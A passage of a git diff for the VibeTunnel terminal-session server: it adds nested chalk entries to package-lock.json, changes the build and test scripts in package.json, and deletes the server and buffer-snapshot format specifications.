||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-runner": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.0.2.tgz",
|
||||
|
|
@ -7969,6 +8413,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-runner/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-runtime": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.0.2.tgz",
|
||||
|
|
@ -8003,6 +8464,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-runtime/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-snapshot": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.0.2.tgz",
|
||||
|
|
@ -8049,6 +8527,39 @@
|
|||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-snapshot/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-snapshot/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-snapshot/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -8089,6 +8600,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-util/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-util/node_modules/picomatch": {
|
||||
"version": "4.0.2",
|
||||
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz",
|
||||
|
|
@ -8146,6 +8674,39 @@
|
|||
"url": "https://github.com/sponsors/sindresorhus"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-validate/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-validate/node_modules/chalk/node_modules/ansi-styles": {
|
||||
"version": "4.3.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
|
||||
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"color-convert": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-validate/node_modules/pretty-format": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
|
||||
|
|
@ -8188,6 +8749,23 @@
|
|||
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-watcher/node_modules/chalk": {
|
||||
"version": "4.1.2",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
|
||||
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"ansi-styles": "^4.1.0",
|
||||
"supports-color": "^7.1.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/jest-worker": {
|
||||
"version": "30.0.2",
|
||||
"resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.0.2.tgz",
|
||||
|
|
@ -8394,19 +8972,6 @@
|
|||
"url": "https://opencollective.com/lint-staged"
|
||||
}
|
||||
},
|
||||
"node_modules/lint-staged/node_modules/chalk": {
|
||||
"version": "5.4.1",
|
||||
"resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
|
||||
"integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": "^12.17.0 || ^14.13 || >=16.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/chalk?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/listr2": {
|
||||
"version": "8.3.3",
|
||||
"resolved": "https://registry.npmjs.org/listr2/-/listr2-8.3.3.tgz",
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@
|
|||
"ensure:dirs": "node scripts/ensure-dirs.js",
|
||||
"bundle": "npm run clean && npm run bundle:assets && npm run bundle:css && npm run bundle:client && npm run bundle:test",
|
||||
"bundle:assets": "node scripts/copy-assets.js",
|
||||
"bundle:css": "npm run ensure:dirs && npx tailwindcss -i ./src/input.css -o ./public/bundle/output.css --minify",
|
||||
"bundle:css": "npm run ensure:dirs && npx tailwindcss -i ./src/client/styles.css -o ./public/bundle/styles.css --minify",
|
||||
"bundle:client": "npm run ensure:dirs && esbuild src/client/app-entry.ts --bundle --outfile=public/bundle/client-bundle.js --format=esm --sourcemap",
|
||||
"bundle:test": "npm run ensure:dirs && esbuild src/client/test-terminals-entry.ts --bundle --outfile=public/bundle/terminal.js --format=esm --sourcemap",
|
||||
"start": "node dist/server.js",
|
||||
|
|
@ -27,16 +27,15 @@
|
|||
"test:ui": "vitest --ui",
|
||||
"test:run": "vitest run",
|
||||
"test:coverage": "vitest run --coverage",
|
||||
"test:unit": "vitest run src/test/unit",
|
||||
"test:integration": "vitest run --config vitest.integration.config.ts",
|
||||
"test:critical": "vitest run src/test/critical.test.ts src/test/smoke.test.ts",
|
||||
"test:all": "npm run test:unit && npm run test:integration && npm run test:critical"
|
||||
"test:e2e": "vitest run --config vitest.config.e2e.ts",
|
||||
"test:all": "npm run test:run"
|
||||
},
|
||||
"dependencies": {
|
||||
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
|
||||
"@xterm/headless": "^5.5.0",
|
||||
"chalk": "^5.4.1",
|
||||
"express": "^4.19.2",
|
||||
"lit": "^3.3.0",
|
||||
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
|
||||
"signal-exit": "^4.1.0",
|
||||
"ws": "^8.18.2"
|
||||
},
|
||||
|
|
|
|||
|
|
@ -1,566 +0,0 @@
|
|||
# VibeTunnel Server Specification
|
||||
|
||||
This document provides a comprehensive specification of the VibeTunnel server architecture, including PTY management, terminal state management, distributed HQ mode, and all protocols. This specification is designed to enable implementation in any programming language.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Overview](#overview)
|
||||
2. [Server Modes](#server-modes)
|
||||
3. [Authentication](#authentication)
|
||||
4. [Session Management](#session-management)
|
||||
5. [Terminal Management](#terminal-management)
|
||||
6. [Binary Buffer Protocol](#binary-buffer-protocol)
|
||||
7. [Stream Format](#stream-format)
|
||||
8. [API Endpoints](#api-endpoints)
|
||||
9. [WebSocket Protocols](#websocket-protocols)
|
||||
10. [HQ Mode Architecture](#hq-mode-architecture)
|
||||
11. [File System Structure](#file-system-structure)
|
||||
|
||||
## Overview
|
||||
|
||||
VibeTunnel is a terminal session management server that provides:
|
||||
- Remote terminal session creation and management
|
||||
- Real-time terminal output streaming
|
||||
- Session persistence and replay
|
||||
- Distributed architecture with HQ mode for managing multiple servers
|
||||
- Binary-optimized terminal buffer synchronization
|
||||
|
||||
## Server Modes
|
||||
|
||||
The server can operate in three modes:
|
||||
|
||||
### 1. Normal Mode (Default)
|
||||
- Standalone server managing local terminal sessions
|
||||
- Optional Basic Authentication
|
||||
- No connection to other servers
|
||||
|
||||
### 2. HQ Mode (`--hq` flag)
|
||||
- Acts as a headquarters server managing multiple remote servers
|
||||
- Aggregates sessions from all registered remotes
|
||||
- Proxies API requests to appropriate remote servers
|
||||
- Maintains health checks on all remotes
|
||||
|
||||
### 3. Remote Mode (`--hq-url` flag)
|
||||
- Registers with an HQ server
|
||||
- Accepts both Basic Auth and Bearer token authentication
|
||||
- Operates independently if HQ is unavailable
|
||||
- Provides all normal mode functionality
|
||||
|
||||
## Authentication
|
||||
|
||||
### Configuration
|
||||
|
||||
#### Environment Variables
|
||||
- `VIBETUNNEL_USERNAME` - Username for Basic Authentication
|
||||
- `VIBETUNNEL_PASSWORD` - Password for Basic Authentication
|
||||
- Both must be provided together or neither
|
||||
|
||||
#### Command Line Arguments
|
||||
- `--username` - Local server username (overrides env var)
|
||||
- `--password` - Local server password (overrides env var)
|
||||
- `--hq-url` - URL of HQ server to register with (enables remote mode)
|
||||
- `--hq-username` - Username for authenticating with HQ
|
||||
- `--hq-password` - Password for authenticating with HQ
|
||||
- `--name` - Unique name for this remote server (required with --hq-url)
|
||||
|
||||
### Authentication Flow
|
||||
|
||||
#### Basic Authentication
|
||||
- Standard HTTP Basic Auth: `Authorization: Basic base64(username:password)`
|
||||
- Used by clients to authenticate with any server
|
||||
- Used by remote servers to authenticate with HQ during registration
|
||||
|
||||
#### Bearer Token Authentication
|
||||
- Format: `Authorization: Bearer <token>`
|
||||
- Remote servers generate a unique token (UUID v4) during registration
|
||||
- HQ uses this token for all API calls to the remote
|
||||
- Remote servers accept both Basic Auth and Bearer token
|
||||
|
||||
### Authentication Middleware
|
||||
1. Skip auth if not configured (no username/password and not in remote mode)
|
||||
2. Skip auth for WebSocket upgrade requests (handled separately)
|
||||
3. Check Bearer token first if server is in remote mode
|
||||
4. Fall back to Basic Auth check
|
||||
5. Return 401 Unauthorized with `WWW-Authenticate: Basic realm="VibeTunnel"` if failed
|
||||
|
||||
## Session Management
|
||||
|
||||
### Session States
|
||||
- `starting` - Session is being created
|
||||
- `running` - Session is active
|
||||
- `exited` - Session has terminated
|
||||
|
||||
### Session Data Structure
|
||||
```typescript
|
||||
interface Session {
|
||||
id: string; // UUID v4
|
||||
name: string; // User-friendly name
|
||||
command: string; // Command line as string
|
||||
workingDir: string; // Working directory path
|
||||
status: string; // Session state
|
||||
exitCode?: number; // Exit code if exited
|
||||
startedAt: string; // ISO 8601 timestamp
|
||||
lastModified: string; // ISO 8601 timestamp
|
||||
pid?: number; // Process ID
|
||||
waiting?: boolean; // If waiting for input
|
||||
remoteName?: string; // Name of remote server (HQ mode)
|
||||
}
|
||||
```
|
||||
|
||||
### PTY Service
|
||||
|
||||
The PTY service manages the actual terminal processes using `node-pty`:
|
||||
|
||||
```typescript
|
||||
interface PtyConfig {
|
||||
implementation: 'node-pty';
|
||||
controlPath: string; // Base directory for session data
|
||||
}
|
||||
```
|
||||
|
||||
Key responsibilities:
|
||||
- Create PTY sessions with specified dimensions
|
||||
- Manage session lifecycle (create, kill, cleanup)
|
||||
- Handle input/output to/from PTY
|
||||
- Resize terminal dimensions
|
||||
- Track session metadata
|
||||
|
||||
## Terminal Management
|
||||
|
||||
The Terminal Manager maintains server-side terminal state for efficient buffer synchronization:
|
||||
|
||||
### Terminal State
|
||||
```typescript
|
||||
interface TerminalState {
|
||||
cols: number; // Terminal width
|
||||
rows: number; // Terminal height
|
||||
buffer: string[][]; // 2D array of [char, style] pairs
|
||||
cursor: {
|
||||
x: number;
|
||||
y: number;
|
||||
visible: boolean;
|
||||
};
|
||||
scrollback: string[][]; // Historical lines
|
||||
title: string; // Terminal title
|
||||
applicationKeypad: boolean;
|
||||
applicationCursor: boolean;
|
||||
bracketedPasteMode: boolean;
|
||||
origin: boolean;
|
||||
reverseWraparound: boolean;
|
||||
wraparound: boolean;
|
||||
insertMode: boolean;
|
||||
}
|
||||
```
|
||||
|
||||
### Buffer Management
|
||||
1. Parse ANSI escape sequences from PTY output
|
||||
2. Update terminal state based on control sequences
|
||||
3. Maintain accurate buffer representation
|
||||
4. Support terminal operations:
|
||||
- Cursor movement
|
||||
- Text insertion/deletion
|
||||
- Screen clearing
|
||||
- Scrolling
|
||||
- Style changes
|
||||
|
||||
## Binary Buffer Protocol
|
||||
|
||||
The binary buffer protocol provides efficient terminal state synchronization:
|
||||
|
||||
### Snapshot Encoding
|
||||
```
|
||||
[4 bytes: magic "SNAP"]
|
||||
[4 bytes: version (1)]
|
||||
[4 bytes: cols]
|
||||
[4 bytes: rows]
|
||||
[4 bytes: cursor X]
|
||||
[4 bytes: cursor Y]
|
||||
[1 byte: cursor visible]
|
||||
[4 bytes: scrollback length]
|
||||
[scrollback data...]
|
||||
[4 bytes: buffer length]
|
||||
[buffer data...]
|
||||
[4 bytes: title length]
|
||||
[title UTF-8 bytes]
|
||||
[1 byte: flags]
|
||||
- bit 0: applicationKeypad
|
||||
- bit 1: applicationCursor
|
||||
- bit 2: bracketedPasteMode
|
||||
- bit 3: origin
|
||||
- bit 4: reverseWraparound
|
||||
- bit 5: wraparound
|
||||
- bit 6: insertMode
|
||||
```
|
||||
|
||||
### Line Encoding
|
||||
Each line is encoded as:
|
||||
```
|
||||
[4 bytes: line length]
|
||||
[4 bytes: number of cells]
|
||||
[cell data...]
|
||||
```
|
||||
|
||||
### Cell Encoding
|
||||
Each cell is encoded as:
|
||||
```
|
||||
[4 bytes: character UTF-8 length]
|
||||
[character UTF-8 bytes]
|
||||
[4 bytes: style]
|
||||
```
|
||||
|
||||
Style is a 32-bit integer:
|
||||
- Bits 0-7: Foreground color (256 colors)
|
||||
- Bits 8-15: Background color (256 colors)
|
||||
- Bit 16: Bold
|
||||
- Bit 17: Italic
|
||||
- Bit 18: Underline
|
||||
- Bit 19: Blink
|
||||
- Bit 20: Inverse
|
||||
- Bit 21: Hidden
|
||||
- Bit 22: Strikethrough
|
||||
|
||||
## Stream Format
|
||||
|
||||
Session output is stored in asciicast v2 format:
|
||||
|
||||
### Header
|
||||
```json
|
||||
{
|
||||
"version": 2,
|
||||
"width": 80,
|
||||
"height": 24,
|
||||
"timestamp": 1234567890,
|
||||
"env": {"TERM": "xterm-256color"}
|
||||
}
|
||||
```
|
||||
|
||||
### Events
|
||||
Each subsequent line is an event:
|
||||
```json
|
||||
[timestamp, type, data]
|
||||
```
|
||||
|
||||
Types:
|
||||
- `"o"` - Output data (UTF-8 string)
|
||||
- `"i"` - Input data (UTF-8 string)
|
||||
- `"r"` - Resize event (e.g., "80x24")
|
||||
|
||||
## API Endpoints
|
||||
|
||||
### Health Check
|
||||
```
|
||||
GET /api/health
|
||||
Response: {"status": "ok", "timestamp": "2024-01-01T00:00:00.000Z"}
|
||||
```
|
||||
|
||||
### Session Management
|
||||
|
||||
#### List Sessions
|
||||
```
|
||||
GET /api/sessions
|
||||
Response: Session[]
|
||||
```
|
||||
|
||||
In HQ mode, aggregates sessions from all registered remotes.
|
||||
|
||||
#### Create Session
|
||||
```
|
||||
POST /api/sessions
|
||||
Body: {
|
||||
"command": ["bash", "-l"],
|
||||
"workingDir": "/home/user",
|
||||
"name": "My Session",
|
||||
"remoteId": "remote-uuid" // Optional, HQ mode only
|
||||
}
|
||||
Response: {"sessionId": "uuid"}
|
||||
```
|
||||
|
||||
#### Get Session Info
|
||||
```
|
||||
GET /api/sessions/:sessionId
|
||||
Response: Session
|
||||
```
|
||||
|
||||
#### Kill Session
|
||||
```
|
||||
DELETE /api/sessions/:sessionId
|
||||
Response: {"success": true, "message": "Session killed"}
|
||||
```
|
||||
|
||||
#### Cleanup Session
|
||||
```
|
||||
DELETE /api/sessions/:sessionId/cleanup
|
||||
Response: {"success": true, "message": "Session cleaned up"}
|
||||
```
|
||||
|
||||
#### Cleanup All Exited
|
||||
```
|
||||
POST /api/cleanup-exited
|
||||
Response: {
|
||||
"success": true,
|
||||
"message": "N exited sessions cleaned up across all servers",
|
||||
"localCleaned": 5,
|
||||
"remoteResults": [
|
||||
{"remoteName": "server1", "cleaned": 3},
|
||||
{"remoteName": "server2", "cleaned": 2, "error": "timeout"}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Terminal I/O
|
||||
|
||||
#### Stream Session Output (SSE)
|
||||
```
|
||||
GET /api/sessions/:sessionId/stream
|
||||
Response: Server-Sent Events stream
|
||||
```
|
||||
|
||||
Event format:
|
||||
```
|
||||
event: output
|
||||
data: {"data": "terminal output...", "timestamp": 1234567890}
|
||||
|
||||
event: exit
|
||||
data: {"exitCode": 0}
|
||||
```
|
||||
|
||||
#### Get Session Snapshot
|
||||
```
|
||||
GET /api/sessions/:sessionId/snapshot
|
||||
Response: Optimized asciicast v2 format (text/plain)
|
||||
```
|
||||
|
||||
Returns events after the last clear screen command.
|
||||
|
||||
#### Get Buffer Stats
|
||||
```
|
||||
GET /api/sessions/:sessionId/buffer/stats
|
||||
Response: {
|
||||
"lines": 100,
|
||||
"cells": 8000,
|
||||
"scrollbackLines": 500,
|
||||
"lastModified": "2024-01-01T00:00:00.000Z"
|
||||
}
|
||||
```
|
||||
|
||||
#### Get Buffer
|
||||
```
|
||||
GET /api/sessions/:sessionId/buffer?format=binary
|
||||
Response: Binary encoded buffer (application/octet-stream)
|
||||
|
||||
GET /api/sessions/:sessionId/buffer?format=json
|
||||
Response: JSON representation of terminal state
|
||||
```
|
||||
|
||||
#### Send Input
|
||||
```
|
||||
POST /api/sessions/:sessionId/input
|
||||
Body: {"text": "ls -la\n"}
|
||||
Response: {"success": true}
|
||||
```
|
||||
|
||||
Special keys:
|
||||
- `"arrow_up"`, `"arrow_down"`, `"arrow_left"`, `"arrow_right"`
|
||||
- `"escape"`, `"enter"`, `"ctrl_enter"`, `"shift_enter"`
|
||||
|
||||
#### Resize Terminal
|
||||
```
|
||||
POST /api/sessions/:sessionId/resize
|
||||
Body: {"cols": 120, "rows": 40}
|
||||
Response: {"success": true, "cols": 120, "rows": 40}
|
||||
```
|
||||
|
||||
### File System
|
||||
|
||||
#### Browse Directory
|
||||
```
|
||||
GET /api/fs/browse?path=/home/user
|
||||
Response: {
|
||||
"absolutePath": "/home/user",
|
||||
"files": [
|
||||
{
|
||||
"name": "document.txt",
|
||||
"created": "2024-01-01T00:00:00.000Z",
|
||||
"lastModified": "2024-01-01T00:00:00.000Z",
|
||||
"size": 1024,
|
||||
"isDir": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
#### Create Directory
|
||||
```
|
||||
POST /api/mkdir
|
||||
Body: {"path": "/home/user", "name": "newfolder"}
|
||||
Response: {
|
||||
"success": true,
|
||||
"path": "/home/user/newfolder",
|
||||
"message": "Directory 'newfolder' created successfully"
|
||||
}
|
||||
```
|
||||
|
||||
### HQ Mode Endpoints
|
||||
|
||||
#### Register Remote
|
||||
```
|
||||
POST /api/remotes/register
|
||||
Headers: Authorization: Basic <hq-credentials>
|
||||
Body: {
|
||||
"id": "remote-uuid",
|
||||
"name": "unique-remote-name",
|
||||
"url": "http://remote-server:4020",
|
||||
"token": "bearer-token-uuid"
|
||||
}
|
||||
Response: {
|
||||
"success": true,
|
||||
"remote": {"id": "remote-uuid", "name": "unique-remote-name"}
|
||||
}
|
||||
```
|
||||
|
||||
#### Unregister Remote
|
||||
```
|
||||
DELETE /api/remotes/:remoteId
|
||||
Headers: Authorization: Basic <hq-credentials>
|
||||
Response: {"success": true}
|
||||
```
|
||||
|
||||
#### List Remotes
|
||||
```
|
||||
GET /api/remotes
|
||||
Response: [
|
||||
{
|
||||
"id": "remote-uuid",
|
||||
"name": "unique-remote-name",
|
||||
"url": "http://remote-server:4020",
|
||||
"sessionCount": 5,
|
||||
"lastHeartbeat": "2024-01-01T00:00:00.000Z"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
## WebSocket Protocols
|
||||
|
||||
### Buffer Synchronization WebSocket
|
||||
|
||||
Endpoint: `/buffers`
|
||||
|
||||
#### Client → Server Messages
|
||||
|
||||
Subscribe to session:
|
||||
```json
|
||||
{"type": "subscribe", "sessionId": "session-uuid"}
|
||||
```
|
||||
|
||||
Unsubscribe from session:
|
||||
```json
|
||||
{"type": "unsubscribe", "sessionId": "session-uuid"}
|
||||
```
|
||||
|
||||
Heartbeat response:
|
||||
```json
|
||||
{"type": "pong"}
|
||||
```
|
||||
|
||||
#### Server → Client Messages
|
||||
|
||||
Heartbeat:
|
||||
```json
|
||||
{"type": "ping"}
|
||||
```
|
||||
|
||||
Error:
|
||||
```json
|
||||
{"type": "error", "message": "Error description"}
|
||||
```
|
||||
|
||||
Binary buffer update:
|
||||
```
|
||||
[1 byte: 0xBF magic byte]
|
||||
[4 bytes: session ID length (little-endian)]
|
||||
[N bytes: session ID UTF-8]
|
||||
[M bytes: encoded buffer snapshot]
|
||||
```
|
||||
|
||||
## HQ Mode Architecture
|
||||
|
||||
### Remote Registration
|
||||
1. Remote server starts with `--hq-url`, `--hq-username`, `--hq-password`, `--name`
|
||||
2. Remote generates unique ID (UUID v4) and token (UUID v4)
|
||||
3. Remote sends POST to `/api/remotes/register` with Basic Auth
|
||||
4. HQ validates unique name and stores remote info
|
||||
5. Remote registration is complete
|
||||
|
||||
### Health Checking
|
||||
1. HQ checks each remote every 15 seconds
|
||||
2. First tries GET `/api/health` with Bearer token
|
||||
3. Falls back to GET `/api/sessions` if health endpoint not found
|
||||
4. Updates session tracking from sessions response
|
||||
5. Removes remote if health check fails
|
||||
|
||||
### Request Proxying
|
||||
1. Session proxy middleware intercepts requests with session IDs
|
||||
2. Looks up which remote owns the session
|
||||
3. Forwards request to remote with Bearer token auth
|
||||
4. Returns remote's response to client
|
||||
|
||||
### Session Aggregation
|
||||
1. GET `/api/sessions` in HQ mode fetches from all remotes
|
||||
2. Adds `remoteName` field to each session
|
||||
3. Tracks session ownership for future proxying
|
||||
4. Returns combined list sorted by last modified
|
||||
|
||||
## File System Structure
|
||||
|
||||
```
|
||||
~/.vibetunnel/control/
|
||||
├── {session-id}/
|
||||
│ ├── info.json # Session metadata
|
||||
│ ├── stream-out # Asciicast v2 format output
|
||||
│ └── stream-in # Input log (optional)
|
||||
```
|
||||
|
||||
### info.json Structure
|
||||
```json
|
||||
{
|
||||
"version": 1,
|
||||
"session_id": "uuid",
|
||||
"name": "Session Name",
|
||||
"cmdline": ["bash", "-l"],
|
||||
"cwd": "/home/user",
|
||||
"env": {},
|
||||
"term": "xterm-256color",
|
||||
"width": 80,
|
||||
"height": 24,
|
||||
"started_at": "2024-01-01T00:00:00.000Z",
|
||||
"pid": 12345,
|
||||
"status": "running",
|
||||
"exit_code": null
|
||||
}
|
||||
```
|
||||
|
||||
## Implementation Notes
|
||||
|
||||
### Error Handling
|
||||
- All endpoints should return appropriate HTTP status codes
|
||||
- Error responses should include `{"error": "Description"}`
|
||||
- WebSocket errors should send error message before closing
|
||||
|
||||
### Security Considerations
|
||||
- HTTPS required for HQ URL
|
||||
- Tokens should be cryptographically random (UUID v4)
|
||||
- File system access restricted to home directory and temp
|
||||
- Input validation on all user-provided paths
|
||||
|
||||
### Performance Considerations
|
||||
- Stream files are append-only for efficiency
|
||||
- Binary buffer protocol minimizes data transfer
|
||||
- Health checks have 5-second timeout
|
||||
- Proxy requests have 30-second timeout
|
||||
- Buffer updates are debounced to avoid flooding
|
||||
|
||||
### Compatibility
|
||||
- UTF-8 encoding throughout
|
||||
- Little-endian byte order for binary protocol
|
||||
- ISO 8601 timestamps in UTC
|
||||
- Line endings normalized to LF (\n)
|
||||
|
|
@ -1,175 +0,0 @@
|
|||
# VibeTunnel Terminal Buffer Snapshot Format
|
||||
|
||||
This document describes the binary format used for efficient terminal buffer snapshots.
|
||||
|
||||
## Overview
|
||||
|
||||
The snapshot format is a compact binary representation of terminal buffer state, designed to minimize data transfer while preserving all terminal attributes. It consists of a header followed by a stream of encoded cells.
|
||||
|
||||
## Format Structure
|
||||
|
||||
```
|
||||
┌──────────────┬─────────────────────────────────┐
|
||||
│ Header │ Cell Stream │
|
||||
│ (32 bytes) │ (variable, 4+ bytes/cell) │
|
||||
└──────────────┴─────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Header Format (32 bytes) - Version 2
|
||||
|
||||
```
|
||||
Offset Size Field Description
|
||||
------ ---- ---------- -----------
|
||||
0x00 2 Magic 0x5654 ("VT" in ASCII)
|
||||
0x02 1 Version Format version (0x02 for 32-bit support)
|
||||
0x03 1 Flags Reserved for future use
|
||||
0x04 4 Cols Terminal width (32-bit unsigned, little-endian)
|
||||
0x08 4 Rows Number of rows in this snapshot (32-bit unsigned, little-endian)
|
||||
0x0C 4 ViewportY Starting line number in buffer (32-bit signed, little-endian)
|
||||
0x10 4 CursorX Cursor column position (32-bit signed, little-endian)
|
||||
0x14 4 CursorY Cursor row position relative to viewport (32-bit signed, little-endian)
|
||||
0x18 4 Reserved Reserved for future use
|
||||
```
|
||||
|
||||
Note: CursorY is relative to the viewport and can be negative if the cursor is above the visible area.
|
||||
|
||||
## Cell Format
|
||||
|
||||
Each cell uses a variable-length encoding:
|
||||
|
||||
### Basic Cell (4 bytes) - ASCII with palette colors
|
||||
|
||||
```
|
||||
Offset Size Field Description
|
||||
------ ---- ---------- -----------
|
||||
0x00 1 Character UTF-8 character (ASCII range)
|
||||
0x01 1 Attributes Bit flags (see below)
|
||||
0x02 1 FG Color Foreground palette index (0-255)
|
||||
0x03 1 BG Color Background palette index (0-255)
|
||||
```
|
||||
|
||||
### Extended Cell (variable) - Unicode or RGB colors
|
||||
|
||||
```
|
||||
Offset Size Field Description
|
||||
------ ---- ---------- -----------
|
||||
